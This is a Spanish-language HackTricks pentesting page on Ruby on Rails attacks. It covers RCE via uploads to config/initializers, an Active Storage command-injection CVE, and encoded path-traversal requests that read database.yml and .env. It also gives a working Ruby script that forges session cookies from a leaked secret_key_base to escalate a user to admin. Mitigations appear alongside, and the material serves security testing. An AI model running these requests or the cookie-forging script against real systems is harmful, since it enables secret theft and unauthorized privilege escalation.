Trucos de Ruby
Reading time: 6 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Subida de archivos a RCE
Como se explica en this article, subir un archivo .rb
a directorios sensibles como config/initializers/
puede llevar a remote code execution (RCE) en aplicaciones Ruby on Rails.
Tips:
- Otras ubicaciones de boot/eager-load que se ejecutan al iniciar la app también son riesgosas si son escribibles (p. ej.,
config/initializers/
es la clásica). Si encuentras una subida arbitraria de archivos que cae en cualquier lugar bajoconfig/
y luego se evalúa/requirea, puedes obtener RCE al arranque. - Busca dev/staging builds que copien archivos controlados por el usuario dentro de la imagen del contenedor donde Rails los cargará en el boot.
Active Storage image transformation → command execution (CVE-2025-24293)
Cuando una aplicación usa Active Storage con image_processing
+ mini_magick
, y pasa parámetros no confiables a los métodos de transformación de imágenes, las versiones de Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podrían permitir inyección de comandos porque algunos métodos de transformación fueron permitidos por error por defecto.
- Un patrón vulnerable se ve así:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
donde params[:t]
y/o params[:v]
están controlados por el atacante.
-
Qué probar durante las pruebas
-
Identifica endpoints que acepten opciones de variant/processing, nombres de transformación, o argumentos arbitrarios de ImageMagick.
-
Fuzz
params[:t]
yparams[:v]
buscando errores sospechosos o efectos secundarios de ejecución. Si puedes influir en el nombre del método o pasar argumentos raw que lleguen a MiniMagick, podrías conseguir code exec en el host que procesa las imágenes. -
Si solo tienes acceso de lectura a las variantes generadas, intenta blind exfiltration vía operaciones de ImageMagick especialmente construidas.
-
Remediación/detecciones
-
Si ves Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage +
image_processing
+mini_magick
y transformaciones controladas por el usuario, considéralo explotable. Recomienda actualizar y aplicar listas blancas estrictas para métodos/params y una política de ImageMagick más hardening.
Rack::Static LFI / path traversal (CVE-2025-27610)
Si el stack objetivo usa middleware de Rack directamente o vía frameworks, versiones de rack
anteriores a 2.2.13, 3.0.14 y 3.1.12 permiten Local File Inclusion vía Rack::Static
cuando :root
no está establecido/mal configurado. Traversal codificado en PATH_INFO
puede exponer archivos bajo el working directory del proceso o un root inesperado.
- Busca apps que monten
Rack::Static
enconfig.ru
o en las pilas de middleware. Prueba traversals codificados contra rutas estáticas, por ejemplo:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Ajusta el prefijo para que coincida con los urls:
configurados. Si la app responde con el contenido del archivo, probablemente tengas LFI a cualquier cosa bajo el :root
resuelto.
- Mitigación: actualizar Rack; asegurar que
:root
solo apunte a un directorio de archivos públicos y esté establecido explícitamente.
Forging/decrypting Rails cookies when secret_key_base
is leaked
Rails cifra y firma cookies usando claves derivadas de secret_key_base
. Si ese valor leaks (p. ej., en un repo, logs, o credenciales mal configuradas), usualmente puedes descifrar, modificar y volver a cifrar cookies. Esto a menudo conduce a bypass de authz si la app almacena roles, user IDs, o feature flags en cookies.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Notas:
- Las aplicaciones más antiguas pueden usar AES-256-CBC y salts
encrypted cookie
/signed encrypted cookie
, o serializadores JSON/Marshal. Ajusta salts, cipher y serializer según corresponda. - En caso de compromiso/evaluación, rota
secret_key_base
para invalidar todas las cookies existentes.
Ver también (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
- Template injection en los motores de Ruby (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)
Referencias
- Anuncio de seguridad de Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- Aviso de GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.